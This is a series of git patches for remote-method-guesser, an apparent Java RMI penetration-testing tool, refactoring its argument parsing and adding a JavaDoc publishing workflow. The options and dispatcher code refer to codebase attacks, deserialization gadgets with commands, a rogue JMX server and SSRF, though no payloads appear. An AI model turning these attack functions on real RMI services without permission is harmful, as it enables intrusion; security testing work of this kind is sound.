optionGroup = null; /** the value of the option */ public Object value = null; - private final static EnumSet intOptions = EnumSet.of(RMGOption.THREADS, RMGOption.ARGUMENT_POS, RMGOption.SCAN_TIMEOUT_CONNECT, - RMGOption.SCAN_TIMEOUT_READ, RMGOption.LISTEN_PORT, RMGOption.TARGET_PORT, RMGOption.ROGUEJMX_FORWARD_PORT); - private final static EnumSet booleanOptions = EnumSet.of(RMGOption.GLOBAL_VERBOSE, RMGOption.GLOBAL_NO_COLOR, RMGOption.GLOBAL_STACK_TRACE, - RMGOption.CONN_FOLLOW, RMGOption.CONN_SSL, RMGOption.SSRF_GOPHER, RMGOption.SSRF, RMGOption.BIND_BYPASS, RMGOption.GUESS_CREATE_SAMPLES, - RMGOption.GUESS_TRUSTED, RMGOption.GUESS_FORCE_GUESSING, RMGOption.GUESS_DUPLICATES, RMGOption.GUESS_UPDATE, RMGOption.GUESS_ZERO_ARG, - RMGOption.ENUM_BYPASS, RMGOption.NO_CANARY, RMGOption.NO_PROGRESS, RMGOption.SSRF_ENCODE, RMGOption.SSRF_RAW); - private final static EnumSet longOptions = EnumSet.of(RMGOption.SERIAL_VERSION_UID, RMGOption.PAYLOAD_SERIAL_VERSION_UID); - - /** - * Initializes an enum field with the corresponding Option name, the Option description the argument action, - * which decides whether the option is boolean or expects a value and an RMGOptionGroup, that is used to - * group options within command line help. - * - * @param name Name of the option. As used on the command line - * @param description Description that is shown within the help menu - * @param argumentAction argparse4j ArgumentAction for this option - * @param optionGroup Logical group to display the argument in when printing the help menu - */ - RMGOption(String name, String description, ArgumentAction argumentAction, RMGOptionGroup optionGroup) - { - this(name, description, argumentAction, optionGroup, null); - } - /** - * Initializes an enum field with the corresponding Option name, the Option description the argument action, - * which decides whether the option is boolean or expects a value, an RMGOptionGroup, that is used to - * group options within command line help and the name metavar of the option value, if required. + * Initialize an RMGOption. * - * @param name Name of the option. As used on the command line - * @param description Description that is shown within the help menu - * @param argumentAction argparse4j ArgumentAction for this option - * @param optionGroup Logical group to display the argument in when printing the help menu - * @param metavar Meta name for the expected option value + * @param name the name of the option + * @param description the description of the option + * @param argumentAction the associated argument action (store, storeTrue, etc.) + * @param optionGroup the associated option group */ - RMGOption(String name, String description, ArgumentAction argumentAction, RMGOptionGroup optionGroup, String metavar) + RMGOption(String name, String description, ArgumentAction argumentAction, IOptionGroup optionGroup) { this.name = name; this.description = description; this.argumentAction = argumentAction; - - this.metavar = metavar; this.optionGroup = optionGroup; - } - /** - * Returns true if the value is null. - * - * @return true or false - */ - public boolean isNull() - { - if( this.value == null) - return true; - - return false; - } - - /** - * Returns true if a value is set. - * - * @return true or false - */ - public boolean notNull() - { - if( this.value == null) - return false; + if (argumentAction instanceof StoreTrueArgumentAction) + { + this.modifiers = new IArgumentModifier[] { + new Type(Boolean.class) + }; + } - return true; + else + { + this.modifiers = new IArgumentModifier[] { + new Type(String.class) + }; + } } /** - * Returns the option value as boolean. + * Initialize an RMGOption. * - * @return option value as boolean + * @param name the name of the option + * @param description the description of the option + * @param argumentAction the associated argument action (store, storeTrue, etc.) + * @param optionGroup the associated option group + * @param modifiers the argumentModifiers for the option */ - public boolean getBool() + RMGOption(String name, String description, ArgumentAction argumentAction, IOptionGroup optionGroup, IArgumentModifier[] modifiers) { - if( this.value == null) - return false; - - return (boolean)this.value; + this.name = name; + this.description = description; + this.argumentAction = argumentAction; + this.optionGroup = optionGroup; + this.modifiers = modifiers; } /** @@ -310,230 +691,49 @@ public void setValue(Object value) } /** - * Sets the option to the specified value. If the value is null, use the specified default. - * - * @param value Object value to set for this option - * @param def Default value to set for this option - */ - public void setValue(Object value, Object def) - { - if( value != null ) - this.value = value; - - else - this.value = def; - } - - /** - * Attempts to set an option value obtained from an argparse4j Namespace object. - * If the corresponding option was not specified, use the default value. - * - * @param args argparse4j namespace - * @param def value to set for the current option - */ - public void setValue(Namespace args, Object def) - { - this.value = args.get(this.name.replaceFirst("--", "").replace("-", "_")); - this.setValue(value, def); - } - - - /** - * Prepare the RMGOption enum by using an argparse4j Namespace object and the global - * remote-method-guesser configuration. This function initializes all options within - * the enum and uses either the value that was specified on the command line or the - * value obtained from the configuration file. - * - * @param args argparse4j Namespace for the current command line - * @param config Global remote-method-guesser configuration + * Helper function that calls requireOneOf with target related options. This is used by functions that require + * a target that could either be an RMI component, a bound name or an ObjID. */ - public static void prepareOptions(Namespace args, Properties config) + public static void requireTarget() { - for(RMGOption option : RMGOption.values() ) { - - Object defaultValue = config.getProperty(option.name().toLowerCase()); - - try { - - if( defaultValue != null && !((String) defaultValue).isEmpty() ) { - - if( intOptions.contains(option) ) - defaultValue = Integer.valueOf((String) defaultValue); - - else if( longOptions.contains(option) ) - defaultValue = Long.valueOf((String) defaultValue); - - else if( booleanOptions.contains(option) ) - defaultValue = Boolean.valueOf((String) defaultValue); - - } else if( defaultValue != null && ((String) defaultValue).isEmpty() ) { - defaultValue = null; - } - - } catch( Exception e ) { - Logger.eprintlnMixedYellow("RMGOption", option.name, "obtained an invalid argument."); - ExceptionHandler.stackTrace(e); - RMGUtils.exit(); - } - - option.setValue(args, defaultValue); + try + { + IOption.requireOneOf(RMGOption.TARGET_COMPONENT, RMGOption.TARGET_OBJID, RMGOption.TARGET_BOUND_NAME); } - } - /** - * Adds options from the RMGOption enum to an argument parser. The options that are added depend - * on the currently selected action, which is expected as one of the arguments. Arguments that - * belong to an RMGOptionGroup are added to the corresponding group and the group is added to the - * parser. - * - * @param operation remote-method-guesser operation specified on the command line - * @param argParser argparse4j ArgumentParser object for the current command line - */ - public static void addOptions(Operation operation, ArgumentParser argParser) - { - Argument arg; - RMGOptionGroup group; - ArgumentGroup arggroup; - - for( RMGOption option : RMGOption.values() ) { - - if( !operation.containsOption(option) ) - continue; - - group = option.optionGroup; - - if( group == RMGOptionGroup.NONE || group == RMGOptionGroup.ACTION ) - arg = argParser.addArgument(option.name).help(option.description).action(option.argumentAction); - - else { - arggroup = group.addArgumentGroup(argParser, operation); - arg = arggroup.addArgument(option.name).help(option.description).action(option.argumentAction); - } - - addModifiers(option, arg); + catch (RequirementException e) + { + ExceptionHandler.requirementException(e); } } - /** - * Certain option only allow a specific set of arguments, have metavariables, expect multiple variables or - * are expected to be of an specific type. This function adds these requirements to the options. It is not - * very elegant to assign these attributes in a static function, but only a few arguments require such - * attributes and initializing them in the enum constructor would make the whole class less readable. - * - * @param option RMGOption that is checked for special attribute requirements - * @param arg Argument to apply special attributes to - */ - public static void addModifiers(RMGOption option, Argument arg) + @Override + public ArgumentAction getArgumentAction() { - if( option.metavar != null ) - arg.metavar(option.metavar); - - if( option == RMGOption.TARGET_COMPONENT ) { - arg.choices("act", "dgc", "reg"); - - } else if( option == RMGOption.ENUM_ACTION ) { - arg.choices("activator", "codebase", "filter-bypass", "jep290", - "list", "localhost-bypass", "security-manager", "string-marshalling"); - arg.nargs("+"); - - } else if( option == RMGOption.SCAN_PORTS ) { - arg.nargs("+"); - - } else if( option == RMGOption.REG_METHOD ) { - arg.choices("lookup", "unbind", "rebind", "bind"); - - } else if( option == RMGOption.DGC_METHOD ) { - arg.choices("clean", "dirty"); - - } else if( intOptions.contains(option) ) { - arg.type(Integer.class); - - } else if( longOptions.contains(option) ) { - arg.type(Long.class); - } + return argumentAction; } - /** - * The require function allows other parts of the source code to require an option value. - * If the corresponding option was not set, an error message is printed and the current execution - * ends. This should be called first by functions that require an specific argument. - * - * @param type of the value - * @param option RMGOption that is required - * @return the currently set option value - */ - @SuppressWarnings("unchecked") - public static T require(RMGOption option) + @Override + public IArgumentModifier[] getArgumentModifiers() { - if( option.notNull() ) { - - try { - return (T)option.value; - - } catch( ClassCastException e ) { - ExceptionHandler.internalError("RMGOption.require", "Caught class cast exception."); - } - } - - Logger.eprintlnMixedYellow("Error: The specified action requires the", option.name, "option."); - RMGUtils.exit(); - - return null; + return modifiers; } - /** - * Allows other parts of the source code to check whether one of the requested RMGOptions was - * specified on the command line. If none of the requested RMGOptions was found, print an error - * and exit. This should be called first by functions that require one of a set of RMGOptions. - * - * @param options RMGOptions to check for - * @return the value of the first option that was found. - */ - public static Object requireOneOf(RMGOption... options) + @Override + public String getDescription() { - StringBuilder helpString = new StringBuilder(); - - for( RMGOption option : options ) { - - if( option.notNull() ) - return option.value; - - helpString.append(option.name); - helpString.append(", "); - } - - helpString.setLength(helpString.length() - 2); - - Logger.eprintlnMixedYellow("Error: The specified action requires one of the", helpString.toString(), "options."); - RMGUtils.exit(); - - return null; + return description; } - /** - * Allows other parts of the source code to check whether all of the requested RMGOptions were - * specified on the command line. If not all of the requested RMGOptions was found, print an error - * and exit. This should be called first by functions that require one of a set of RMGOptions. - * - * @param options RMGOptions to check for - */ - public static void requireAllOf(RMGOption... options) + @Override + public IOptionGroup getGroup() { - for( RMGOption option : options ) { - - if( !option.notNull() ) { - Logger.eprintlnMixedYellow("Error: The specified action requires the", option.name, "option."); - RMGUtils.exit(); - } - } + return optionGroup; } - /** - * Helper function that calls requireOneOf with target related options. This is used by functions that require - * a target that could either be an RMI component, a bound name or an ObjID. - */ - public static void requireTarget() + @Override + public String getName() { - RMGOption.requireOneOf(RMGOption.TARGET_COMPONENT, RMGOption.TARGET_OBJID, RMGOption.TARGET_BOUND_NAME); + return name; } } diff --git a/src/eu/tneitzel/rmg/internal/RMGOptionGroup.java b/src/eu/tneitzel/rmg/internal/RMGOptionGroup.java index ac873c8..1f78566 100644 --- a/src/eu/tneitzel/rmg/internal/RMGOptionGroup.java +++ b/src/eu/tneitzel/rmg/internal/RMGOptionGroup.java @@ -1,10 +1,6 @@ package eu.tneitzel.rmg.internal; -import java.util.HashMap; - -import eu.tneitzel.rmg.operations.Operation; -import net.sourceforge.argparse4j.inf.ArgumentGroup; -import net.sourceforge.argparse4j.inf.ArgumentParser; +import eu.tneitzel.argparse4j.global.IOptionGroup; /** * The RMGOptionGroup enum is used to bundle certain options into a logical context. The corresponding @@ -15,7 +11,7 @@ * * @author Tobias Neitzel (@qtc_de) */ -public enum RMGOptionGroup +public enum RMGOptionGroup implements IOptionGroup { /** SSRF related arguments */ SSRF("ssrf arguments"), @@ -31,7 +27,6 @@ public enum RMGOptionGroup NONE(""); private final String name; - private final HashMap argumentGroups; /** * RMGOptionGroups are initialized by the group name that should be displayed within the help menu. @@ -41,31 +36,11 @@ public enum RMGOptionGroup RMGOptionGroup(String name) { this.name = name; - this.argumentGroups = new HashMap(); } - /** - * Helper function that adds the ArgumentGroup to an ArgumentParser. Each remote-method-guesser operation - * uses a separate subparser. Each subparser contains its own ArgumentGroup. Therefore, it is required to - * create each ArgumentGroup for each operation. - * - * This function first checks whether the ArgumentGroup for the specified operation was already created. - * If so, it is simply returned. Otherwise, it is created, added to the parser and added to an internally - * stored HashMap for later use. - * - * @param argParser ArgumentParser to add the ArgumentGroup to - * @param operation remote-method-guesser operation for the current ArgumentGroup - * @return ArgumentGroup for the specified operation - */ - public ArgumentGroup addArgumentGroup(ArgumentParser argParser, Operation operation) + @Override + public String getName() { - ArgumentGroup group = argumentGroups.get(operation); - - if( group == null ) { - group = argParser.addArgumentGroup(name); - argumentGroups.put(operation, group); - } - - return group; + return name; } } diff --git a/src/eu/tneitzel/rmg/operations/Operation.java b/src/eu/tneitzel/rmg/operations/Operation.java index e72ee54..608204a 100644 --- a/src/eu/tneitzel/rmg/operations/Operation.java +++ b/src/eu/tneitzel/rmg/operations/Operation.java @@ -2,10 +2,13 @@ import java.lang.reflect.Method; +import eu.tneitzel.argparse4j.global.GlobalOption; +import eu.tneitzel.argparse4j.global.IAction; +import eu.tneitzel.argparse4j.global.IOption; +import eu.tneitzel.argparse4j.inf.Subparser; +import eu.tneitzel.argparse4j.inf.Subparsers; import eu.tneitzel.rmg.internal.ExceptionHandler; import eu.tneitzel.rmg.internal.RMGOption; -import net.sourceforge.argparse4j.inf.Subparser; -import net.sourceforge.argparse4j.inf.Subparsers; /** * The Operation enum class contains one item for each possible rmg action. An enum item consists out of @@ -20,8 +23,8 @@ * * @author Tobias Neitzel (@qtc_de) */ -public enum Operation { - +public enum Operation implements IAction +{ /** Binds an object to the registry that points to listener */ BIND("dispatchBind", "[object] ", "Binds an object to the registry that points to listener", new RMGOption[] { RMGOption.TARGET_HOST, @@ -430,7 +433,19 @@ public static void addSubparsers(Subparsers argumentParser) for (Operation operation : Operation.values()) { Subparser parser = argumentParser.addParser(operation.name().toLowerCase()).help(operation.description); - RMGOption.addOptions(operation, parser); + GlobalOption.addOptions(parser, operation, RMGOption.values()); } } + + @Override + public String getName() + { + return method.getName(); + } + + @Override + public IOption[] getOptions() + { + return options; + } } From 1b943d4a200b522a229b31180888f1a46f285897 Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Mon, 1 Jan 2024 22:26:48 +0100 Subject: [PATCH 02/62] Continue switching argparse4j implementation --- .../tneitzel/rmg/operations/Dispatcher.java | 185 ++++++++++++------ 1 file changed, 129 insertions(+), 56 deletions(-) diff --git a/src/eu/tneitzel/rmg/operations/Dispatcher.java b/src/eu/tneitzel/rmg/operations/Dispatcher.java index e136b6b..be9974a 100644 --- a/src/eu/tneitzel/rmg/operations/Dispatcher.java +++ b/src/eu/tneitzel/rmg/operations/Dispatcher.java @@ -10,6 +10,8 @@ import javax.management.remote.rmi.RMIServer; +import eu.tneitzel.argparse4j.global.IOption; +import eu.tneitzel.argparse4j.global.exceptions.RequirementException; import eu.tneitzel.rmg.endpoints.KnownEndpoint; import eu.tneitzel.rmg.endpoints.KnownEndpointHolder; import eu.tneitzel.rmg.exceptions.UnexpectedCharacterException; @@ -150,11 +152,21 @@ private void createMethodCandidate() */ public RMIEndpoint getRMIEndpoint() { - int port = RMGOption.require(RMGOption.TARGET_PORT); - String host = RMGOption.require(RMGOption.TARGET_HOST); + try + { + int port = RMGOption.TARGET_PORT.require(); + String host = RMGOption.TARGET_HOST.require(); + + this.createMethodCandidate(); + return new RMIEndpoint(host, port); + } + + catch (RequirementException e) + { + ExceptionHandler.requirementException(e); + } - this.createMethodCandidate(); - return new RMIEndpoint(host, port); + return null; } /** @@ -192,7 +204,15 @@ private RMIRegistryEndpoint getRegistry(RMIEndpoint rmi) */ private RemoteObjectClient getRemoteObjectClient(RMIEndpoint rmi) { - RMGOption.requireOneOf(RMGOption.TARGET_OBJID, RMGOption.TARGET_BOUND_NAME, RMGOption.TARGET_COMPONENT); + try + { + IOption.requireOneOf(RMGOption.TARGET_OBJID, RMGOption.TARGET_BOUND_NAME, RMGOption.TARGET_COMPONENT); + } + + catch (RequirementException e) + { + ExceptionHandler.requirementException(e); + } if (RMGOption.TARGET_BOUND_NAME.isNull() && RMGOption.TARGET_OBJID.isNull()) { @@ -339,10 +359,18 @@ private Set getCandidates() */ public void dispatchListen() { - String listenerIP = RMGOption.require(RMGOption.LISTEN_IP); - int listenerPort = RMGOption.require(RMGOption.LISTEN_PORT); + try + { + String listenerIP = RMGOption.LISTEN_IP.require(); + int listenerPort = RMGOption.LISTEN_PORT.require(); - YsoIntegration.createJRMPListener(listenerIP, listenerPort, p.getGadget()); + YsoIntegration.createJRMPListener(listenerIP, listenerPort, p.getGadget()); + } + + catch (RequirementException e) + { + ExceptionHandler.requirementException(e); + } } /** @@ -431,8 +459,20 @@ public void dispatchCodebase() { RMGOption.requireTarget(); - String codebase = RMGOption.require(RMGOption.CODEBASE_URL); - String className = RMGOption.require(RMGOption.CODEBASE_CLASS); + String codebase = ""; + String className = ""; + + try + { + codebase = RMGOption.CODEBASE_URL.require(); + className = RMGOption.CODEBASE_CLASS.require(); + } + + catch (RequirementException e) + { + ExceptionHandler.requirementException(e); + } + RMGUtils.setCodebase(codebase); Object payload = null; @@ -664,20 +704,28 @@ public void dispatchGuess() */ public void dispatchKnown() { - String className = RMGOption.require(RMGOption.KNOWN_CLASS); - Formatter formatter = new Formatter(); + try + { + String className = RMGOption.KNOWN_CLASS.require(); + Formatter formatter = new Formatter(); - KnownEndpointHolder keh = KnownEndpointHolder.getHolder(); - KnownEndpoint endpoint = keh.lookup(className); + KnownEndpointHolder keh = KnownEndpointHolder.getHolder(); + KnownEndpoint endpoint = keh.lookup(className); - if (endpoint == null) - { - Logger.eprintlnMixedYellow("The specified class name", className, "isn't a known class."); + if (endpoint == null) + { + Logger.eprintlnMixedYellow("The specified class name", className, "isn't a known class."); + } + + else + { + formatter.listKnownEndpoint(endpoint); + } } - else + catch (RequirementException e) { - formatter.listKnownEndpoint(endpoint); + ExceptionHandler.requirementException(e); } } @@ -687,21 +735,29 @@ public void dispatchKnown() */ public void dispatchPortScan() { - String host = RMGOption.require(RMGOption.TARGET_HOST); - int[] rmiPorts = p.getRmiPorts(); + try + { + String host = RMGOption.TARGET_HOST.require(); + int[] rmiPorts = p.getRmiPorts(); - Logger.printMixedYellow("Scanning", String.valueOf(rmiPorts.length), "Ports on "); - Logger.printlnPlainMixedBlueFirst(host, "for RMI services."); - Logger.lineBreak(); - Logger.increaseIndent(); + Logger.printMixedYellow("Scanning", String.valueOf(rmiPorts.length), "Ports on "); + Logger.printlnPlainMixedBlueFirst(host, "for RMI services."); + Logger.lineBreak(); + Logger.increaseIndent(); - PortScanner ps = new PortScanner(host, rmiPorts); - ps.portScan(); + PortScanner ps = new PortScanner(host, rmiPorts); + ps.portScan(); - Logger.decreaseIndent(); - Logger.lineBreak(); + Logger.decreaseIndent(); + Logger.lineBreak(); - Logger.println("Portscan finished."); + Logger.println("Portscan finished."); + } + + catch (RequirementException e) + { + ExceptionHandler.requirementException(e); + } } /** @@ -709,10 +765,44 @@ public void dispatchPortScan() */ public void dispatchObjID() { - String objIDString = RMGOption.require(RMGOption.OBJID_OBJID); + try + { + int listenerPort = RMGOption.LISTEN_PORT.require(); + String listenerHost = RMGOption.LISTEN_IP.require(); + + RogueJMX rogueJMX = new RogueJMX(listenerHost, listenerPort, RMGOption.ROGUEJMX_OBJID.getValue()); + + if (RMGOption.ROGUEJMX_FORWARD_HOST.notNull()) + { + String forwardHost = RMGOption.ROGUEJMX_FORWARD_HOST.getValue(); + int forwardPort = RMGOption.ROGUEJMX_FORWARD_PORT.require(); + + String boundName = RMGOption.ROGUEJMX_FORWARD_BOUND_NAME.getValue(); + String objid = RMGOption.ROGUEJMX_FORWARD_OBJID.getValue(); - ObjID objID = RMGUtils.parseObjID(objIDString); - RMGUtils.printObjID(objID); + RMIEndpoint rmi = new RMIEndpoint(forwardHost, forwardPort); + RemoteObjectClient client = getRemoteObjectClient(objid, boundName, rmi); + client.assignInterface(RMIServer.class); + + rogueJMX.forwardTo(client); + } + + try + { + rogueJMX.export(); + Logger.lineBreak(); + } + + catch (java.rmi.RemoteException e) + { + ExceptionHandler.unexpectedException(e, "exporting", "rogue JMX server", true); + } + } + + catch (RequirementException e) + { + ExceptionHandler.requirementException(e); + } } /** @@ -723,35 +813,18 @@ public void dispatchObjID() */ public void dispatchRogueJMX() { - int listenerPort = RMGOption.require(RMGOption.LISTEN_PORT); - String listenerHost = RMGOption.require(RMGOption.LISTEN_IP); - - RogueJMX rogueJMX = new RogueJMX(listenerHost, listenerPort, RMGOption.ROGUEJMX_OBJID.getValue()); - - if (RMGOption.ROGUEJMX_FORWARD_HOST.notNull()) + try { - String forwardHost = RMGOption.ROGUEJMX_FORWARD_HOST.getValue(); - int forwardPort = RMGOption.require(RMGOption.ROGUEJMX_FORWARD_PORT); - - String boundName = RMGOption.ROGUEJMX_FORWARD_BOUND_NAME.getValue(); - String objid = RMGOption.ROGUEJMX_FORWARD_OBJID.getValue(); + String objIDString = RMGOption.OBJID_OBJID.require(); - RMIEndpoint rmi = new RMIEndpoint(forwardHost, forwardPort); - RemoteObjectClient client = getRemoteObjectClient(objid, boundName, rmi); - client.assignInterface(RMIServer.class); - - rogueJMX.forwardTo(client); + ObjID objID = RMGUtils.parseObjID(objIDString); + RMGUtils.printObjID(objID); } - try + catch (RequirementException e) { - rogueJMX.export(); - Logger.lineBreak(); + ExceptionHandler.requirementException(e); } - catch (java.rmi.RemoteException e) - { - ExceptionHandler.unexpectedException(e, "exporting", "rogue JMX server", true); - } } } From aca6a1f405f4590ef6971b40bfdb1406c770953b Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Mon, 1 Jan 2024 22:44:00 +0100 Subject: [PATCH 03/62] Outsource default argument type to argparse4j --- src/eu/tneitzel/rmg/internal/RMGOption.java | 20 +------------------- 1 file changed, 1 insertion(+), 19 deletions(-) diff --git a/src/eu/tneitzel/rmg/internal/RMGOption.java b/src/eu/tneitzel/rmg/internal/RMGOption.java index bc16cf6..fbf4206 100644 --- a/src/eu/tneitzel/rmg/internal/RMGOption.java +++ b/src/eu/tneitzel/rmg/internal/RMGOption.java @@ -9,7 +9,6 @@ import eu.tneitzel.argparse4j.global.modifiers.NArgs; import eu.tneitzel.argparse4j.global.modifiers.Type; import eu.tneitzel.argparse4j.impl.Arguments; -import eu.tneitzel.argparse4j.impl.action.StoreTrueArgumentAction; import eu.tneitzel.argparse4j.inf.ArgumentAction; /** @@ -623,24 +622,7 @@ public enum RMGOption implements IOption */ RMGOption(String name, String description, ArgumentAction argumentAction, IOptionGroup optionGroup) { - this.name = name; - this.description = description; - this.argumentAction = argumentAction; - this.optionGroup = optionGroup; - - if (argumentAction instanceof StoreTrueArgumentAction) - { - this.modifiers = new IArgumentModifier[] { - new Type(Boolean.class) - }; - } - - else - { - this.modifiers = new IArgumentModifier[] { - new Type(String.class) - }; - } + this(name, description, argumentAction, optionGroup, new IArgumentModifier[] {}); } /** From fb9849431be5c30dbe712fa253ec78c2daffea60 Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Sat, 6 Jan 2024 22:37:38 +0100 Subject: [PATCH 04/62] Add pages CI --- .github/workflows/pages.yml | 61 +++++++++++++++++++++++++++++++++++++ 1 file changed, 61 insertions(+) create mode 100644 .github/workflows/pages.yml diff --git a/.github/workflows/pages.yml b/.github/workflows/pages.yml new file mode 100644 index 0000000..6ed08d6 --- /dev/null +++ b/.github/workflows/pages.yml @@ -0,0 +1,61 @@ +name: Publish JavaDoc + +on: + push: + branches: + - main + paths: + - src/** + - .github/workflows/pages.yml + +permissions: + contents: read + pages: write + id-token: write + +concurrency: + group: "pages" + cancel-in-progress: false + +jobs: + + build: + runs-on: ubuntu-latest + + steps: + - name: Checkout ${{ github.event.repository.name }} + uses: actions/checkout@v4 + + - name: Setup Pages + uses: actions/configure-pages@v3 + + - name: Set up JDK 1.8 + uses: actions/setup-java@v4 + with: + distribution: 'temurin' + java-version: 8 + cache: maven + cache-dependency-path: pom.xml + + - name: Build Docs + run: | + mvn javadoc:javadoc + + - name: Upload artifact + uses: actions/upload-pages-artifact@v2 + with: + path: 'target/site/apidocs/' + + deploy: + runs-on: ubuntu-latest + + environment: + name: github-pages + url: ${{ steps.deployment.outputs.page_url }} + + needs: build + + steps: + - name: Deploy to GitHub Pages + id: deployment + uses: actions/deploy-pages@v2 From 0f24cd0fd18ab3be87404edfa7ab5cb51202e8a7 Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Tue, 9 Jan 2024 09:51:03 +0100 Subject: [PATCH 05/62] Fix pom.xml The dependency to the official argparse4j artificat now got replaced with the custom fork. --- pom.xml | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/pom.xml b/pom.xml index 04708ff..4da9157 100644 --- a/pom.xml +++ b/pom.xml @@ -48,6 +48,12 @@ + + eu.tneitzel + argparse4j + 1.0.0 + + commons-io commons-io From fbf1f89c4662528fea502187f015db322925d07f Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Tue, 9 Jan 2024 22:05:01 +0100 Subject: [PATCH 06/62] Argument parsing related bugfixes --- .../rmg/internal/ArgumentHandler.java | 2 +- src/eu/tneitzel/rmg/internal/RMGOption.java | 26 ++++++------ src/eu/tneitzel/rmg/operations/Operation.java | 42 +++++++++---------- 3 files changed, 35 insertions(+), 35 deletions(-) diff --git a/src/eu/tneitzel/rmg/internal/ArgumentHandler.java b/src/eu/tneitzel/rmg/internal/ArgumentHandler.java index 5bf643a..ff366d7 100644 --- a/src/eu/tneitzel/rmg/internal/ArgumentHandler.java +++ b/src/eu/tneitzel/rmg/internal/ArgumentHandler.java @@ -87,7 +87,7 @@ private Properties loadConfig(String filename) { InputStream configStream = null; - configStream = ArgumentParser.class.getResourceAsStream(defaultConfiguration); + configStream = ArgumentHandler.class.getResourceAsStream(defaultConfiguration); config.load(configStream); configStream.close(); diff --git a/src/eu/tneitzel/rmg/internal/RMGOption.java b/src/eu/tneitzel/rmg/internal/RMGOption.java index fbf4206..063742b 100644 --- a/src/eu/tneitzel/rmg/internal/RMGOption.java +++ b/src/eu/tneitzel/rmg/internal/RMGOption.java @@ -74,7 +74,7 @@ public enum RMGOption implements IOption Arguments.store(), RMGOptionGroup.NONE, new IArgumentModifier[] { - new MetaVar("path"), + new MetaVar("port"), new Type(Integer.class) }), @@ -199,7 +199,7 @@ public enum RMGOption implements IOption BIND_ADDRESS("bind-host", "host specifications the bound remote object should point to", Arguments.store(), - RMGOptionGroup.ACTION, + RMGOptionGroup.NONE, new IArgumentModifier[] { new MetaVar("host:port"), }), @@ -208,7 +208,7 @@ public enum RMGOption implements IOption BIND_BOUND_NAME("bound-name", "Bound name to use for (un)bind action", Arguments.store(), - RMGOptionGroup.ACTION, + RMGOptionGroup.NONE, new IArgumentModifier[] { new MetaVar("name"), }), @@ -241,7 +241,7 @@ public enum RMGOption implements IOption CODEBASE_CLASS("classname", "classname to load during codebase attack", Arguments.store(), - RMGOptionGroup.ACTION, + RMGOptionGroup.NONE, new IArgumentModifier[] { new MetaVar("name"), }), @@ -250,7 +250,7 @@ public enum RMGOption implements IOption CODEBASE_URL("url", "codebase URL to load the payload from", Arguments.store(), - RMGOptionGroup.ACTION, + RMGOptionGroup.NONE, new IArgumentModifier[] { new MetaVar("url"), }), @@ -259,7 +259,7 @@ public enum RMGOption implements IOption LISTEN_IP("ip", "IP address to start the listener on", Arguments.store(), - RMGOptionGroup.ACTION, + RMGOptionGroup.NONE, new IArgumentModifier[] { new MetaVar("IP"), }), @@ -268,7 +268,7 @@ public enum RMGOption implements IOption LISTEN_PORT("port", "port number to start the listener on", Arguments.store(), - RMGOptionGroup.ACTION, + RMGOptionGroup.NONE, new IArgumentModifier[] { new MetaVar("port"), new Type(Integer.class) @@ -395,7 +395,7 @@ public enum RMGOption implements IOption GADGET_NAME("gadget", "gadget name to use for the deserialization attack", Arguments.store(), - RMGOptionGroup.ACTION, + RMGOptionGroup.NONE, new IArgumentModifier[] { new MetaVar("gadget"), }), @@ -404,7 +404,7 @@ public enum RMGOption implements IOption GADGET_CMD("cmd", "command to pass for the specified gadget", Arguments.store(), - RMGOptionGroup.ACTION, + RMGOptionGroup.NONE, new IArgumentModifier[] { new MetaVar("cmd"), }), @@ -431,7 +431,7 @@ public enum RMGOption implements IOption SCAN_HOST("host", "host to perform the scan on", Arguments.store(), - RMGOptionGroup.ACTION, + RMGOptionGroup.NONE, new IArgumentModifier[] { new MetaVar("host"), }), @@ -450,7 +450,7 @@ public enum RMGOption implements IOption CALL_ARGUMENTS("arguments", "argument string to use for the call", Arguments.store(), - RMGOptionGroup.ACTION, + RMGOptionGroup.NONE, new IArgumentModifier[] { new MetaVar("args"), }), @@ -459,7 +459,7 @@ public enum RMGOption implements IOption OBJID_OBJID("objid", "ObjID string to parse", Arguments.store(), - RMGOptionGroup.ACTION, + RMGOptionGroup.NONE, new IArgumentModifier[] { new MetaVar("objid"), }), @@ -468,7 +468,7 @@ public enum RMGOption implements IOption KNOWN_CLASS("classname", "classname to check within the database", Arguments.store(), - RMGOptionGroup.ACTION, + RMGOptionGroup.NONE, new IArgumentModifier[] { new MetaVar("name"), }), diff --git a/src/eu/tneitzel/rmg/operations/Operation.java b/src/eu/tneitzel/rmg/operations/Operation.java index 608204a..79949fe 100644 --- a/src/eu/tneitzel/rmg/operations/Operation.java +++ b/src/eu/tneitzel/rmg/operations/Operation.java @@ -29,6 +29,8 @@ public enum Operation implements IAction BIND("dispatchBind", "[object] ", "Binds an object to the registry that points to listener", new RMGOption[] { RMGOption.TARGET_HOST, RMGOption.TARGET_PORT, + RMGOption.BIND_ADDRESS, + RMGOption.BIND_BOUND_NAME, RMGOption.GLOBAL_CONFIG, RMGOption.GLOBAL_NO_COLOR, RMGOption.GLOBAL_PLUGIN, @@ -41,10 +43,8 @@ public enum Operation implements IAction RMGOption.SSRF_ENCODE, RMGOption.SSRF_RAW, RMGOption.SSRF_STREAM_PROTOCOL, - RMGOption.BIND_BOUND_NAME, RMGOption.BIND_BYPASS, RMGOption.BIND_OBJID, - RMGOption.BIND_ADDRESS, RMGOption.BIND_GADGET_NAME, RMGOption.BIND_GADGET_CMD, RMGOption.YSO, @@ -57,6 +57,7 @@ public enum Operation implements IAction CALL("dispatchCall", "", "Regularly calls a method with the specified arguments", new RMGOption[] { RMGOption.TARGET_HOST, RMGOption.TARGET_PORT, + RMGOption.CALL_ARGUMENTS, RMGOption.TARGET_BOUND_NAME, RMGOption.TARGET_OBJID, RMGOption.TARGET_SIGNATURE, @@ -74,7 +75,6 @@ public enum Operation implements IAction RMGOption.SSRF_ENCODE, RMGOption.SSRF_RAW, RMGOption.SSRF_STREAM_PROTOCOL, - RMGOption.CALL_ARGUMENTS, RMGOption.FORCE_ACTIVATION, RMGOption.SERIAL_VERSION_UID, RMGOption.SOCKET_FACTORY, @@ -87,6 +87,8 @@ public enum Operation implements IAction CODEBASE("dispatchCodebase", " ", "Perform remote class loading attacks", new RMGOption[] { RMGOption.TARGET_HOST, RMGOption.TARGET_PORT, + RMGOption.CODEBASE_CLASS, + RMGOption.CODEBASE_URL, RMGOption.TARGET_BOUND_NAME, RMGOption.TARGET_OBJID, 